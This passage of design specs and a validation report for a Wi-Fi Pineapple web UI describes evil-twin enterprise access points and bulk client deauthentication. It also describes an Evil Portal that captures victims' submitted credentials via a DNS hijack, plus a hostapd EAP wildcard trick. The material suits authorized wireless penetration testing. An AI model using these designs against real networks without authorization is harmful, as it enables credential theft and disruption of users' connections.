+Each SVG will include axes, channel/frequency labels, a signal-strength scale, and an accessible title. Each AP path will include an SVG `<title>` containing escaped SSID, BSSID, channel, signal, encryption, and vendor metadata. Reports require no JavaScript and remain printable and usable offline.
+
+### Existing Statistics
+
+This pass retains the current report scope: summary cards, band breakdown, encryption breakdown, channel occupancy, and AP details. It will not add new client or handshake detail tables.
+
+Labels will describe their actual semantics. The report will use the existing exact client-count query instead of raw device observations. GPS metadata will state that it is the current fix at report generation time; archived reports will continue to omit current GPS.
+
+Report helpers will accept empty or incomplete AP data safely. Unknown bands or channels will not produce malformed SVG. User-controlled fields are HTML-escaped in text and attribute contexts.
+
+## Evil Enterprise Certificate Generation
+
+### User Flow
+
+The Evil Enterprise page will gain a certificate card matching the current PineAP cards, form controls, infoboxes, and action buttons. This is an inline flow rather than a visually distinct wizard.
+
+The form accepts:
+
+- Country
+- State or province
+- Locality
+- Organization
+- Organizational unit
+- Common name
+- Subject alternative DNS names
+- Validity in days
+
+The card shows the installed certificate subject, SHA-256 fingerprint, validity range, key type/size, and certificate/key-match status. It never displays or returns private-key material.
+
+### Generation and Validation
+
+The backend generates a 2048-bit RSA self-signed server certificate using the device's `openssl` command. The certificate includes SHA-256 signatures, server-auth key usage, the requested subject, and validated DNS SAN entries. Validity is constrained to 1 through 3650 days.
+
+Inputs are rejected when they contain line breaks or control characters, exceed 128 UTF-8 bytes per subject field, contain an invalid two-letter country code, contain invalid DNS SAN values, include more than 20 SAN entries, or result in an empty common name. Each SAN must be a valid DNS name of at most 253 ASCII characters. Arguments are passed as an argv list rather than through a shell.
+
+Generation occurs in a private temporary directory. Before installation, the backend verifies that:
+
+- OpenSSL can parse the certificate.
+- OpenSSL can parse the private key.
+- Certificate and key public keys match.
+- The generated certificate is currently valid.
+- Subject and SAN values reflect the request.
+
+Only validated files replace the active certificate and key. Replacement uses backups and atomic renames. The private key and temporary files use mode `0600`; public certificates use `0644`.
+
+The fallback certificate path will use this same validated generator rather than copying a shared private key. The payload init script will stop applying recursive `0755` permissions to secret material.
+
+### Automatic Restart and Rollback
+
+If Evil Enterprise is not active, a successful generation becomes the certificate for the next deployment.
+
+If Evil Enterprise is active, the backend snapshots its current deployment state, installs the new certificate, and automatically redeploys the AP with the same SSID, channel, encryption, hidden state, EAP method, and secret. Success requires hostapd to reach `ENABLED` with the new certificate.
+
+If redeployment fails, the backend restores the prior certificate files and attempts to redeploy the previous AP configuration. The API reports both the generation failure and whether rollback restored service. Concurrent generation/deployment operations are serialized with the existing attack-operation boundary extended to certificate changes.
+
+## Navigation
+
+Top-level Recon remains. Its tabs become:
+
+- Scanning
+- Reports
+
+Handshakes moves into `PINEAP_TABS` at `#/pineap/handshakes`. Its page body and data APIs remain unchanged. The Recon handshake summary card links to the new route.
+
+`#/recon/handshakes` redirects to `#/pineap/handshakes` so bookmarks and old links continue to work. This redirect is a concrete compatibility requirement because the previous route shipped in the UI.
+
+## pineapd Containment and Diagnostics
+
+### Supported-Build Policy
+
+Mark VIII will identify the device by firmware description and daemon SHA-256. The initial affected-build record covers Pager 24.10.1 and the confirmed daemon hash. Known affected builds receive automatic crash-prevention reconciliation.
+
+Unknown builds retain the conservative UI block on pool broadcast, but Mark VIII will not silently apply hash-specific assumptions. Health output will identify the build as unknown and explain that broadcast remains unavailable pending validation. A future verified-safe build can be allowlisted without changing the UI contract.
+
+### Safe Reconciliation
+
+Before Mark VIII starts or explicitly restarts `pineapd` on the affected build, it will ensure:
+
+- `pineapd.@ssidpool[0].disable=1`
+- `pineapd.wlan2mon.disable=1`
+- `pineapd.wlan2mon.hop=0`
+- `pineapd.wlan1mon.bands=5`
+- `pineapd.wlan0mon.bands=2`
+
+Mark VIII will continue using passive `pidof` checks and will not health-poll the daemon command socket. It will not disable normal 5 GHz hopping merely to make startup appear safe.
+
+The reconciler records original and resulting values and changes only known crash-prevention keys. It does not rewrite unrelated wireless or PineAP settings. Normal startup does not clear the SSID pool.
+
+### Crash Circuit Breaker
+
+The health monitor will track PID transitions and SIGSEGV-count changes in a rolling two-minute window. Three observed crashes within that window will stop additional Mark VIII restarts and mark the daemon `quarantined`; stock procd behavior remains visible but is not amplified by the web UI.
+
+If the pool has refilled above 64 entries or 4096 encoded bytes during a correlated crash loop, Mark VIII will first save a timestamped diagnostic copy, then clear the pool as a last-resort recovery action and perform one controlled restart. This action and its reason appear in health status. A pool at or below both limits is preserved.
+
+The circuit breaker resets only after the daemon remains alive for five minutes or after an explicit operator recovery action. Recovery reruns safe reconciliation before restart.
+
+### Diagnostic Bundle
+
+A read-only diagnostic endpoint will produce a downloadable text or JSON bundle containing:
+
+- Firmware and board identity
+- `pineapd` hash and process state
+- Relevant PineAP UCI values
+- Monitor interface presence and channel state
+- Pool entry count and encoded size, without exposing unrelated secrets
+- Recent PID transitions, restart decisions, and SIGSEGV deltas
+- Relevant recent log lines
+- Mark VIII health actions and quarantine state
+
+The bundle supports vendor reporting and future safe-build validation. It does not include the stock binary or private certificate/key material.
+
+## Error Handling
+
+- Recon probe failures remain per-radio failures; one radio does not invalidate the other.
+- Database settlement uses bounded retries and reports a missing result explicitly.
+- Report generation returns the existing 404/503 responses for missing or unavailable scans.
+- Certificate APIs return validation errors as HTTP 400, generation/runtime failures as 502, and include rollback state when an active AP was affected.
+- Health reconciliation failures do not trigger unbounded retries. They are exposed through `/api/health` and diagnostics.
+- All new state-changing APIs retain authentication and same-origin enforcement.
+
+## Testing
+
+Backend tests will cover:
+
+- Enabled but unassociated dummy STA does not imply starvation.
+- Associated client/AP and failed channel probes produce accurate limited-coverage states.
+- Parked dummy STA and successful retry report full coverage.
+- Hopper interfaces clear when hopping ends.
+- Active runs bind to a newly created scan ID and do not select older nonempty scans.
+- Missing result settlement produces an explicit warning.
+- SVG maps render each populated band, signal colors, escaped metadata, empty data, and archive reports without external assets.
+- Certificate input validation, SAN generation, key/certificate matching, atomic replacement, file modes, active-AP restart, and rollback.
+- Navigation route declarations and legacy redirect.
+- Affected-build matching, safe UCI reconciliation, unknown-build policy, passive health checks, crash threshold, pool quarantine, and circuit-breaker recovery.
+
+Verification on the Pager will include:
+
+- A 2.4 GHz scan with the enabled but unassociated dummy STA.
+- A scan while an actual STA or AP pins `phy0`.
+- Opening and printing generated live and archived HTML reports.
+- Generating a certificate and inspecting it with OpenSSL.
+- Generating while Evil Enterprise runs and confirming automatic restart.
+- Exercising a forced restart failure and confirming certificate/AP rollback.
+- Observing `pineapd` stability and health state after safe reconciliation.
+- Desktop and mobile checks of Recon, Reports, PineAP Handshakes, and Evil Enterprise.
+
+## Deployment Order
+
+1. Recon state and scan-result identity.
+2. Firmware-gated `pineapd` reconciliation and health containment.
+3. HTML report SVG maps.
+4. Handshakes navigation move.
+5. Certificate generation, permissions, restart, and rollback.
+6. Full local test suite, payload build, device deployment, and on-device verification.
+
+## Non-Goals
+
+- Patching or replacing the proprietary `pineapd` binary.
+- Enabling SSID-pool broadcast on the known affected daemon.
+- Adding external chart libraries or report assets.
+- Adding client or handshake detail tables to reports in this pass.
+- Creating a CA hierarchy or CA-download workflow; the selected certificate design is a self-signed server certificate.
+- Persisting browser-only signal history in reports.

docs/superpowers/specs/2026-08-21-recon-client-associations-device-identity-design.md

@@ -0,0 +1,196 @@
+# Recon Client Associations and Device Identity Design
+
+## Summary
+
+Enrich the Recon Scanning view with confirmed client-to-network associations
+and best-available device identity. Associations must come from explicit
+evidence and must never be inferred from proximity, channel, timing, or probe
+requests. Access-point identity uses local device databases and existing
+fallback data without requiring internet access.
+
+The implementation remains compatible with the current constraints: Python
+standard library only, no frontend build step, bounded scan-detail queries,
+and read-only access to the stock Recon database.
+
+## Confirmed Device Behavior
+
+The target Pager Recon database contains:
+
+- `ssid.type = 8`: access-point observations with BSSID and SSID.
+- `ssid.type = 5`: directed probe observations with a device MAC and SSID but
+  no BSSID. These do not prove association.
+- `ssid.type = 4`: unassociated observations used by the current landscape
+  count.
+- `handshake.stahash` and `handshake.aphash`: explicit client/AP pairs that
+  resolve through `wifi_device.hash`.
+- `hostap_client`: clients associated with an AP hosted by the Pineapple,
+  including client MAC, SSID, and connection timestamps.
+
+The target has local manufacturer databases at
+`/usr/share/nmap/nmap-mac-prefixes` and
+`/usr/share/macchanger/wireless.list`. The Recon schema does not retain WPS or
+other vendor information elements that would support dependable model
+detection.
+
+## Association Model
+
+`recon_scan_data()` remains the canonical scan-detail builder. It emits only
+confirmed associations from these sources:
+
+1. WPA handshake rows, using `aphash` and `stahash` to resolve the AP and
+   client MAC addresses through `wifi_device`.
+2. `hostap_client` rows scoped to the selected scan, representing clients that
+   associated with a Pineapple-hosted AP.
+
+Directed probes and other `ssid` observations do not create associations.
+There is no channel, signal, timing, or SSID-name inference.
+
+Evidence for the same client/network pair is deduplicated. The resulting
+association records preserve all evidence sources, for example
+`["handshake", "hostap_client"]`.
+
+### Client Shape
+
+Each existing client object retains `mac`, `signal`, `freq`, and `packets` and
+gains:
+
+- `vendor`: best-available client manufacturer label.
+- `associations`: an array of confirmed association objects.
+
+Each association can contain:
+
+- `ssid`
+- `bssid`, when known
+- `ap_identity`
+- `sources`
+- `connected_time`, when supplied by `hostap_client`
+- `disconnected_time`, when supplied by `hostap_client`
+
+An absent relationship is represented by an empty array. The UI labels this
+state `Unknown`; it does not invent an SSID.
+
+### Access-Point Shape
+
+Each existing AP object retains its current fields and gains:
+
+- `device_identity`: structured manufacturer, optional model, OUI, and source
+  metadata.
+- `clients`: confirmed associated-client summaries.
+- `client_count`: the number of unique confirmed client MAC addresses.
+
+Handshake evidence resolves an AP by BSSID. The current `hostap_client` schema
+does not contain a BSSID, so those rows create SSID-only associations and are
+not assigned to an AP row. A matching SSID alone is insufficient to claim a
+specific BSSID.
+
+## Device Identity Resolution
+
+Identity resolution follows this precedence:
+
+1. `/usr/share/nmap/nmap-mac-prefixes`.
+2. `/usr/share/macchanger/wireless.list`.
+3. The existing built-in `OUI_VENDORS` map.
+4. `Unknown`.
+
+The parsed local maps are cached once per server process. Missing, malformed,
+or unreadable files are skipped without failing Recon.
+
+The identity object includes the visible three-byte OUI prefix. Locally
+administered MAC addresses report `Local/Randomized` rather than a vendor.
+Globally administered addresses absent from all sources report `Unknown`.
+The current sources identify manufacturers, not models, so `model` is `null`.
+Vendor names, SSIDs, and MAC patterns are not treated as models.
+
+## Recon UI
+
+The existing Recon layout, tabs, pagination, and focus sidebar remain intact.
+
+### Access Points
+
+The table gains two default-visible columns:
+
+- `Device Identity`: the best reliable display label. It shows manufacturer
+  and model when both are explicitly available, manufacturer alone when only
+  the OUI resolves, and `Unknown (AA:BB:CC)` when unresolved.
+- `Clients`: the confirmed unique-client count.
+
+The richer `Device Identity` column replaces the current `Vendor` column to
+avoid duplicate information. Selecting an AP continues to open the existing
+focus sidebar, which gains a `Confirmed Clients` section listing client MAC,
+client vendor, and evidence sources.
+
+### Clients
+
+The table gains two default-visible columns:
+
+- `Vendor`
+- `Associated SSID`
+
+A single association shows its SSID. Multiple associations show the first
+SSID followed by `+N`; the cell title contains every SSID, BSSID when known,
+AP identity, and evidence source. Clients without confirmed evidence show
+`Unknown`.
+
+Search includes the new identity and association values. Existing column
+preferences in `pw_recon_cols` are merged with current defaults, so users keep
+their settings while newly introduced columns receive their default-visible
+state.
+
+## Exports and Reports
+
+All exports use the same enriched scan-detail objects:
+
+- JSON preserves structured identity and association arrays.
+- CSV adds flattened identity, client count, and association fields. Multiple
+  associations are separated unambiguously with semicolons.
+- HTML adds AP identity and confirmed-client count to AP details and includes
+  a confirmed-client table. The report labels these as confirmed associations
+  and does not mix in directed probes.
+
+## Error Handling and Performance
+
+- Association reads are scoped to the selected scan.
+- Existing bounded scan-detail behavior remains bounded; enrichment must not
+  introduce unbounded cross-scan joins.
+- Missing optional tables or schema differences yield empty association data
+  while preserving existing AP and client results.
+- Missing OUI files fall back through the resolver chain and never make the
+  Recon endpoint fail.
+- No external lookup or network dependency is introduced.
+- Duplicate handshake or host-AP evidence collapses deterministically by
+  normalized client MAC and network identity.
+
+## Testing
+
+Backend tests cover:
+
+- Nmap, macchanger, and built-in OUI precedence.
+- Missing and malformed local OUI files.
+- Local/randomized and unknown MAC handling.
+- Handshake-derived client/AP/SSID associations.
+- `hostap_client` associations remain SSID-only and do not attach to an AP row.
+- Deduplication and combined evidence sources.
+- Explicit exclusion of `ssid.type = 5` probe rows.
+- Missing optional association data.
+- Enriched JSON, CSV, and HTML output.
+
+Frontend tests or source assertions cover:
+
+- New default columns and stored-column preference migration.
+- Confirmed association display and the `Unknown` state.
+- Search over identity and association values.
+- Confirmed clients in the AP focus sidebar.
+
+On-device verification uses read-only SQLite queries to compare API
+associations with source evidence, confirms local OUI resolution, and checks
+the Recon view at desktop and mobile widths. Verification does not alter
+radio, PineAP, or wireless configuration.
+
+## Out of Scope
+
+- Inferring associations from probe requests, frequency, signal, time, or
+  physical proximity.
+- Active probing, deauthentication, or traffic capture to discover clients.
+- Internet OUI or device-fingerprinting services.
+- Guessing AP models from manufacturer, SSID naming, or MAC patterns.
+- Redesigning the Recon navigation or table framework.

docs/superpowers/specs/2026-08-22-reliability-core-design.md

@@ -0,0 +1,202 @@
+# Mark VIII Reliability Core + Integrated Supervisor — Design
+
+Date: 2026-08-22
+Branch: `feature/reliability`
+Status: Approved by user (design sections 1–7)
+
+## Problem
+
+Mark VIII works, but the device does not run reliably or consistently as
+expected. Evidence from 79 prior opencode sessions, the repository history,
+the factory firmware image, and the live device:
+
+1. **Factory defaults are themselves unstable.** The stock firmware image
+   (`pineapplepager-firmware-1.1.0-signed.bin`, OpenWrt 24.10.1,
+   ramips/mt76x8, kernel 6.6.86) ships `/etc/config/pineapd` with every
+   verified crash source enabled: `wlan1mon` bands `'2,5'` fast-hop,
+   `wlan2mon` enabled+hop on a nonexistent interface, SSID pool without an
+   explicit disable, pool target `broadcast`. Any reset, upgrade, or stock-UI
+   reconvergence reintroduces pineapd SIGSEGV crash loops.
+2. **Fixes revert.** Crash-guard UCI values applied at runtime were observed
+   reverting to unsafe defaults after service restarts and deploys.
+3. **Knock-offs.** Enabling client-mode uplink / `wifi reload` mid-operation
+   repeatedly killed management reachability (SSH/HTTP), forcing power
+   cycles and losing engagement state.
+4. **2.4 GHz blindness.** The client uplink STA on phy0 pins the radio's
+   channel; wlan0mon cannot hop, so 2.4 GHz recon goes quiet while appearing
+   "green" in older UI logic.
+5. **Reboot fragility.** After reboots, stale configs and refilled pools
+   produced broken states until v1.3.x added startup checks; ordering is
+   still wrong: Mark VIII starts at S99, *after* pineapd (S50).
+6. **Deploy fragility.** Non-atomic deploys, version confusion across three
+   files, portal refresh failures, and one secret-leak incident.
+
+User decisions: payload-only hardening (no firmware flashing); uplink moves
+to phy1; Reliability Core plus an integrated lightweight supervisor;
+experimental work on a branch.
+
+## Goals
+
+A device that: survives reboot/firmware-upgrade with safe PineAP state;
+never loses management reachability from a UI-initiated operation; keeps
+2.4 GHz operations fully available during engagements; reports radio truth;
+and self-heals known failure modes without human intervention.
+
+## Non-goals
+
+Firmware repacking/flashing (parked as future experiment), new standalone
+processes/daemons, external databases, metrics graphing beyond counters,
+`:1471` takeover.
+
+## Architecture
+
+All changes live inside the existing payload. Three layers, one process:
+
+- **Guard** — `mk8-guard` init script installed by `payload.sh` at START=49
+  (before the S50 pineapple stack that launches `pineapd`): enforces the
+  known-good UCI profile before crash-prone daemons start. Idempotent;
+  commits only differences; logs to syslog and the event journal once Mark
+  VIII is up.
+- **Core** — backend modules in `server.py` (pure stdlib, python3-light
+  compatible): config reconciler, profile store, RF role manager,
+  preflight/rollback gates.
+- **Supervisor** — passive sampler thread inside `server.py`, capped JSONL
+  event journal, UI health panel.
+
+Persistent state lives in `/mmc/mk8/` (ext4, 3.3 GB free) which survives
+reboots *and* firmware upgrades (overlay wipe):
+
+```
+/mmc/mk8/
+  profiles/<name>/{pineapd,wireless,network}.uci   # named snapshots
+  releases/{current,previous}/                      # atomic deploy dirs
+  events.log                                        # rotated JSONL journal
+  boot.marker                                       # boot counter / clean-shutdown flag
+```
+
+## Components
+
+### 1. Boot-time reconciler
+
+Runs on every service start (and `mk8-guard` runs it early at boot).
+Compares live UCI against the built-in known-good profile; commits only
+differences; logs each action to the journal.
+
+Enforced invariants (the five verified crash sources plus v1.3.x rules):
+- `pineapd.@ssidpool[0].disable='1'` and empty `ssid` list
+- `pineapd.wlan2mon.disable='1'`, `hop='0'`
+- `pineapd.wlan1mon.bands='5'`
+- `pineapd.@pineapd[0].autossidpool='0'`
+- `wireless.dummy_radio0` parked per v1.3.1 semantics (disabled unless a
+  scan explicitly borrows it)
+- monitor interfaces present and administratively up
+
+The reconciler never touches AP sections owned by the user (evil twins),
+client sections, or network/firewall config.
+
+### 2. Profiles + knock-off protection
+
+- **Profile store**: `uci export` snapshots under `/mmc/mk8/profiles/`.
+  Save/restore from Settings UI; restore = write files + `wifi reload` +
+  guard re-run. One profile is auto-captured as `lastknown-good` whenever
+  all health checks pass for ≥5 minutes.
+- **Preflight gate** wraps every risky operation: client-mode connect or
+  disconnect, `wifi reload`, any AP enable/disable, enterprise engine
+  start/stop, any UCI commit touching `wireless`/`network`. Sequence:
+  auto-snapshot `pre-<op>-<ts>` → apply → spawn detached watchdog.
+- **Rollback watchdog**: a small POSIX sh script started via `setsid` so it
+  survives SSH/UI death. It probes **local** liveness only — HTTP GET to
+  `127.0.0.1:8080/api/health` and presence/state of the management
+  interface — deliberately ignoring workstation-side reachability, which
+  historically caused false assumptions. If local probes fail on N
+  consecutive checks (default 6 × 5 s), it restores the pre-op snapshot,
+  runs `wifi reload`, writes a `ROLLBACK` journal entry, and exits. Success
+  path: after M consecutive healthy checks it promotes the snapshot to
+  `lastknown-good` and exits.
+
+### 3. RF role manager (uplink on phy1)
+
+Declarative, mutually exclusive radio plan enforced server-side:
+- **phy0 = OPS, always**: monitor hop + PineAP + 2.4 GHz evil twins. Never
+  carries the uplink again.
+- **phy1 ∈ {attack, uplink, idle}**: role switch API + UI control.
+
+`set-role(uplink)`: snapshot config → create/enable a `wifi-iface` STA
+section on `radio1` → pause `wlan1mon` hop (reusing the existing pause/
+resume mechanism used by radio1 APs) → verify association truthfully
+(iw + daemon state). Failure at any step → rollback snapshot + event.
+`set-role(attack)`: STA disabled → monitor/AP stack restored.
+
+Honest tradeoff surfaced in UI text: while the phy1 uplink associates, phy1
+is pinned to the uplink channel — 5 GHz recon is limited to that channel;
+2.4 GHz remains fully hoppable. The dashboard RF chip shows
+`PHY0: OPS · PHY1: UPLINK ch36` style state.
+
+### 4. Supervisor
+
+A sampler thread inside the existing backend process:
+- Every 30 s, passive reads only (`pidof`, `iw dev`, `/proc/meminfo`,
+  interface flags) — no pineapd socket pings (crash source 5).
+- SIGSEGV trend via throttled `logread | grep -c` scan every 5 min.
+- Hysteresis actions: pineapd absent for 2 consecutive samples →
+  `/etc/init.d/pineapd restart` + guard verify; monitor dropped → re-raise
+  (`ip link set <iface> up`); memory >85% sustained 5 samples → alert only
+  (no aggressive action).
+- Event journal: JSONL entries `{ts, kind, sev, msg, meta}` rotated at
+  5 MB × 4 files.
+- Unexpected-reboot detection via `/mmc/mk8/boot.marker` (clean shutdown
+  clears it; boot increments counter when present).
+- UI: Dashboard health panel gains recent-events feed + reliability
+  counters (boots, unexpected boots, rollbacks, restarts, guard fixes);
+  `/api/health` extended accordingly.
+
+### 5. Deploy hardening
+
+- Single-source version: top-level `VERSION` file consumed by build step to
+  stamp `_hak5_manifest.json`, `payload.sh`, and `server.py` banner; no more
+  hand-synced numbers.
+- Atomic deploys in `scripts/deploy.sh`: stage upload to `/tmp/mk8-stage`
+  → sha256 manifest verification → stop service → swap into
+  `/mmc/mk8/releases/current` (previous kept) → start → post-deploy
+  self-check (version match + local health probe). Failed self-check →
+  previous release restored automatically.
+- Payload install continues to work from overlay paths for compatibility;
+  release dir on `/mmc` is symlinked as the service target.
+
+### 6. Testing & verification
+
+Unit tests (existing pattern: stdlib unittest, mocks, one module per
+process): reconciler diff-only idempotence; profile save/restore roundtrip;
+role exclusivity + hop pause/resume; watchdog decision table (probe
+outcomes × thresholds); deploy staging flow with mocked SSH; supervisor
+sampling parsers and hysteresis.
+
+New `scripts/smoke.sh` (on-device, read-only unless explicitly flagged):
+boot persistence of guards, guard enforcement after writing factory-default
+bad values (then restoring), role-switch cycle uplink↔attack, rollback
+watchdog trigger against a deliberately stopped port (safe variant), deploy
+version match, journal integrity.
+
+## Failure modes & handling
+
+| Failure | Handling |
+|---|---|
+| Factory-default bad UCI at boot | Guard fixes before pineapd starts |
+| pineapd crash-loop despite guards | procd respawn + supervisor restart w/ backoff + alert |
+| Risky op kills management plane | Local-liveness rollback watchdog restores snapshot |
+| Deploy uploads corrupt payload | sha256 gate before swap |
+| New payload fails health check | Auto-rollback to previous release |
+| Overlay wiped by firmware upgrade | Reinstall payload; profiles/journal/history survive on /mmc |
+| Memory exhaustion | Sustained-watermark alerts; no destructive automation |
+
+## Security
+
+No new network exposure; all new endpoints behind existing auth; watchdog
+and guard scripts are root-owned, written atomically; no credentials stored
+in repo or journal metadata (SSIDs/BSSIDs only).
+
+## Out-of-scope notes
+
+Custom firmware remains a documented future experiment (extraction recipe
+captured in session history: uImage kernel @0, squashfs-xz rootfs
+@0x2615dc; bootloader signature behavior unverified).

docs/superpowers/specs/2026-08-23-deauth-evilportal-capture-design.md

@@ -0,0 +1,116 @@
+# Mark VIII — Deauth UX, Evil Portal, Monitor Capture Fixes
+
+Date: 2026-08-23
+Status: approved (user confirmed design in session)
+
+## Goals
+
+1. Make deauth obvious: "Deauth All Clients" from Recon's AP focus sidebar, "Deauth All"
+   on the Deauth Targeting card — both gated by an engagement-scope confirmation.
+2. New top-level **Evil Portal** tab compatible with Hak5 EvilPortalNano portals
+   (kleo/evilportals layout): import zips, serve pages to victims, capture credentials,
+   DNS-hijack delivery.
+3. OpenAP gains an "Evil Portal" card: dropdown of imported templates, greyed out when
+   none exist; activating an OpenAP with a template selected starts the portal.
+4. Fix Monitor Capture never appearing to work.
+
+## Non-goals
+
+- No PHP interpreter; the backend shims only the trivial PHP patterns stock portals use.
+- No TLS interception (HTTPS requests are not redirected).
+- `.enable`/`.disable` portal scripts are stored but **not executed** (divergence from
+  stock EvilPortalNano, documented here deliberately).
+
+## 1. Bulk deauth endpoint
+
+`POST /api/attacks/deauth/bulk` body `{targets: [{bssid, client, channel?}, ...]}`
+(max 32). Shared helper `_deauth_one(bssid, client, channel)` extracted from
+`h_attacks_deauth`; per-target results returned `{results: [...], sent, failed}`.
+Uses the existing band→inject-iface logic and `PINEAPPLE_DEAUTH_CLIENT`.
+
+### Recon sidebar
+
+In `renderFocus()` (www/js/views.js), when the focused AP has confirmed clients, add a
+danger button **"Deauth All Clients"**. Clicking shows
+`confirm("Deauthenticate N client(s) of <SSID>? Confirm this target is IN SCOPE for your engagement.")`,
+then posts one bulk call.
+
+### Deauth Targeting card
+
+`deauthPanel()` gains a danger **"Deauth All"** button that bulk-deauths every device in
+the current result list against the selected AP, behind the same scope confirmation.
+
+## 2. Evil Portal
+
+### Storage & import
+
+- Root: `/mmc/mk8/portals/<name>/` (`[A-Za-z0-9._-]{1,64}` names, mk8_profiles rules).
+- `POST /api/portals/import` `{data: <base64 zip>}` (≤10 MB decoded). Zip-slip guarded
+  (reject absolute paths and `..`). If every entry shares a single top-level directory,
+  that directory becomes the portal root. `index.php` must exist at the root.
+- Other endpoints: `GET /api/portals`, `DELETE /api/portals/{name}`,
+  `POST /api/portals/{name}/activate|deactivate`, `GET /api/portals/captures`,
+  `DELETE /api/portals/captures`, `GET /api/portals/{name}/logs` (Download),
+  `GET /api/portals/{name}/download` (zip of the portal folder).
+
+### Serving engine (port 80)
+
+Second listener thread in server.py, own connection handler (no auth, no same-origin —
+victims are unauthenticated). Admin UI on :8080 untouched.
+
+- **GET anything** → active portal:
+  - Path resolves inside the portal dir (`_safe_join`); missing paths fall back to
+    `index.php`; asset files served raw with the standard mime map.
+  - `index.php` rendered through the PHP shim.
+- **PHP shim**: replaces `getClientMac($_SERVER['REMOTE_ADDR'])` /
+  `getClientHostName(...)` with values resolved from DHCP leases for the requester IP,
+  `$_SERVER['REMOTE_ADDR']` with the requester IP, `$destination` with the request URL;
+  strips all other `<?php ... ?>` / `<?= ... ?>` blocks.
+- **POST anything** → credential capture: parse urlencoded fields, enrich with client
+  ip/mac/hostname, append:
+  - `<portal>/.logs` in the exact MyPortal.php text format (stock-tool compatible), and
+  - `/mmc/mk8/portals/captures.jsonl` (one JSON object per line) for the UI.
+  Response: simple authorization-success HTML page.
+
+### Delivery: DNS hijack
+
+Activation writes `dhcp.@dnsmasq[0].address='/#/<lan-ip>'` (UCI), commits, restarts
+dnsmasq; deactivation deletes the option and restarts. LAN IP discovered via
+`ip -4 addr show br-lan` (env-overridable `PAGER_LAN_IFACE`, fallback 172.16.52.1).
+Active portal name persists at `/mmc/mk8/portals/.active`; on service start the hijack
+is re-applied best-effort if a portal was left active.
+
+### Tab UI
+
+Rail entry + route `#/evilportal` + `views.evilportal`: Active Portal status card,
+Templates card (list with Activate/Stop/Delete/Download, Import via zip file input →
+base64), Captured Credentials table (time, portal, fields) with Clear and Download.
+
+## 3. OpenAP Evil Portal card
+
+`attackLauncher('open', {..., portal: true})`: card with a template `<select>`
+(populated from `GET /api/portals`), disabled with hint text when no templates exist.
+Deploy body carries `portal: <name>`; `h_attacks_deploy` activates it after a successful
+open-AP deploy; `h_attacks_stop` for kind `open` deactivates any active portal. Status
+card shows the active binding.
+
+## 4. Monitor Capture fix
+
+Root cause: `views.js:1314` polls `/api/attacks/capture {action:'status'}` without
+`iface`; the backend defaults to `wlan0mon`, so a live `wlan1mon` capture flips back to
+"Not capturing" within one 5 s poll.
+
+- Backend `status` with no `iface`: evaluates both pidfiles and reports whichever
+  capture is actually running (else the default). Start failures now `mkdir -p` the pcap
+  dir first and tee tcpdump stderr to `/tmp/mk8_capture_<iface>.log`, surfaced in the
+  502 detail.
+- Frontend: when a status/start response reports a running capture, adopt its iface for
+  subsequent Stop clicks.
+
+## Testing
+
+- New `tests/test_portals.py`: import validation (bad name, zip-slip, oversize, missing
+  index.php, nested top-dir flattening), PHP shim substitutions, capture log formats.
+- Extend `tests/test_attacks.py`: bulk deauth validation/looping (mocked device_run),
+  capture status dual-iface resolution.
+- Existing suite must stay green (run per-file as documented in README).

docs/superpowers/specs/2026-08-23-pineap-dashboard-mode-card-removal-design.md

@@ -0,0 +1,46 @@
+# PineAP Dashboard: Remove Mode Card, Move RF Role Card
+
+Date: 2026-08-23
+
+## Goal
+
+Remove the "Passive / Active / Advanced" mode card from the PineAP dashboard and move the "RF Role (radio1)" card into its position, cleaning up all supporting code that becomes dead as a result.
+
+## Layout
+
+Current PineAP dashboard rows:
+
+1. `[Passive/Active/Advanced, Quick Settings]`
+2. `[RF Role (radio1)]`
+3. `[Karma, Open Network, Evil WPA]`
+
+New layout:
+
+1. `[RF Role (radio1), Quick Settings]`
+2. `[Karma, Open Network, Evil WPA]`
+
+## Changes
+
+### `payload/user/remote_access/pager-webui/www/js/views.js` (`views.pineap`)
+
+- Remove mode-card UI: `mode` badge, `segBtns`/`modeBar`, `modeInfo`, `saveModeBtn`, `modeCard`.
+- Append `rfCard` to `modeRow` (first position, before Quick Settings); delete `rfRow`.
+- Remove functions `selectMode()`, `saveMode()`, `renderModeInfo()`.
+- Remove state `selectedMode`, `modeDirty`, `modePending`.
+- Remove `PINEAP_SESSION.mode` and the `'advanced'` write in `rememberAdvanced()` (Quick Settings toggles keep working).
+- In `load()`: drop the `GET /api/pineap/mode` call, `PINEAP_SESSION.mode` tracking, and the badge-class update on the removed `mode` element.
+
+### `payload/user/remote_access/pager-webui/www/css/app.css`
+
+- Remove mode-card-only rules: `.seg`, `.seg-btn`, `.seg-btn + .seg-btn`, `.seg-btn.active`, `.seg-btn:disabled`, `.pineap-card-button-group .seg`, `.pineap-card-button-group .seg-btn`, `.pineap-mode-save`, `.pineap-mode-features`.
+- Keep `.pineap-card-title-flex` (used by other views).
+
+## Untouched
+
+- Backend `/api/pineap/mode` endpoint (still exercised by `tests/test_pineap_modes.py`).
+- RF role logic, all other views, `build/` (regenerated by `scripts/deploy.sh`).
+
+## Verification
+
+- `node --check` on `views.js`.
+- Manual browser check of the PineAP dashboard layout.

docs/validation/2026-08-23-pineap-validation-report.md

@@ -0,0 +1,457 @@
+# Mark-VIII PineAP Attack Validation — 2026-08-23
+
+> ## Fix round 2026-08-23 (post-validation) — status update
+>
+> All defects below were fixed and re-validated live on the same hardware.
+>
+> - **BUG 1 — FIXED.** `DEAUTH_CLIENT` → `PINEAPPLE_DEAUTH_CLIENT` at both call sites.
+>   Live: `/api/attacks/deauth` and `/api/pineap/clients/kick` return `ok:true`; on-wire effect
+>   confirmed (client dropped from the twin, kept off by kick's deny filter; re-associates after
+>   filter clear).
+> - **BUG 2 — FIXED.** `_allow_all_ssids()` now issues `PINEAPPLE_NETWORK_FILTER_MODE deny`.
+>   Live: after any deploy, `GET /api/pineap/filters/ssid` reads `deny` + empty without manual help,
+>   and clients associate to twins unaided.
+> - **BUG 3 — FIXED (root cause found by live experiment).** Two independent causes:
+>   1. **eap_user_file grammar.** `hostapd_get_eap_user()` never wildcard-matches a bare `*`
+>      identity for phase-2 lookups (`!phase2` guard); phase-2 entries need a *quoted* identity.
+>      The fix uses quoted empty prefix `""* <methods> "<pw>" [2]`, which prefix-matches any
+>      inner identity. Proven against stock hostapd 2.10 on a wired veth loopback first, then
+>      live on the Pager.
+>   2. **`pineapd.@hostapd[0].pineape_auth_pass='1'`** makes the karma hostapd forward inner EAP
+>      to pineapd, which has no responder for a standalone AP → instant inner EAP-Failure after
